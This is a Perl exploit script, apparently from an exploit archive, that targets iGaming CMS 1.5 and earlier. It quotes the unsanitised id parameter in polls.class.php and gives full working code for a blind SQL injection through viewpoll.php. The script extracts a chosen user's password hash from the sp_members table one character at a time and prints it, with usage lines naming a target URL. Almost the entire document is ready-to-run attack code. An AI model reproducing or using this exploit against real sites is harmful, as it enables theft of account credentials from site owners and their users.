iGaming CMS 1.5 – Blind SQL Injection
#!/usr/bin/env perl =pod iGaming CMS <= 1.5 Blind SQL Injection Author: plucky Email: io.plucky@gmail.com Web Site: http://plucky.heliohost.org Crew : WarWolfZ Usage: perl exploit.pl <website> <user_id> Example: perl exploit.pl http://website.net/iGamingCMS1.5/ 1 Vulnerability: polls.class.php [line 10-17] if (!empty($_REQUEST['id'])) { $poll = $db->Execute(" SELECT id,title FROM `sp_polls` WHERE `id` = '" . $_REQUEST['id'] . "'"); $result = $db->Execute("SELECT * FROM sp_polls_options WHERE poll_id = '$_REQUEST[id]' ORDER BY id"); THX TO: shrod and warwolfz crew =cut use strict; use warnings; use LWP::Simple; my $password = ''; my $vulnerable_page = ''; my $target_id = 1; sub header_exploit { print 'iGaming CMS <= 1.5 Blind SQL Injection' . "\n". '-----------------------------------------' . "\n". 'Author: plucky' . "\n". 'Email: io.plucky@gmail.com' . "\n". '-----------------------------------------' . "\n". '[!]Target id: '.$target_id . "\n". '[!]Exploit Status: Working...' . "\n"; } sub usage_exploit { print 'Usage:' . "\n". ' perl exploit.pl http://[site]/[path]/ [id]' . "\n". 'Examples:' . "\n". ' perl' . $0 . 'http://web_site/cms/ 1' . "\n". ' perl' . $0 . 'http://games_site/iGamingCMS1.5/ 1' . "\n"; exit; } sub run_exploit { my $parameter_id = shift; my $parameter_page = shift; my $target_id = $$parameter_id; my $vulnerable_page = $$parameter_page; my $character_id = 1; my $HTML_source = ''; my $SQL_Injection = ''; my $hexadecimal_character = ''; my $result = ''; my $table = 'sp_members'; my @hexadecimal_characters = ( 48..57, 97..102 ); foreach $character_id ( 1..32 ) { character_research: foreach $hexadecimal_character ( @hexadecimal_characters ) { $SQL_Injection = "viewpoll.php?id=' or ascii(substring((select pass from $table where id=$target_id),$character_id,1))=$hexadecimal_character\%23"; $HTML_source = get( $vulnerable_page.$SQL_Injection ); if ( $HTML_source !~ /Error/i ) { $result .= chr($hexadecimal_character); $character_id++; last character_research; } } } return $result; } $vulnerable_page = $ARGV[0] || usage_exploit; $target_id = $ARGV[1] || usage_exploit; header_exploit; $password = run_exploit ( \$target_id, \$vulnerable_page ); print '[!]Password: ', $password, "\n"; |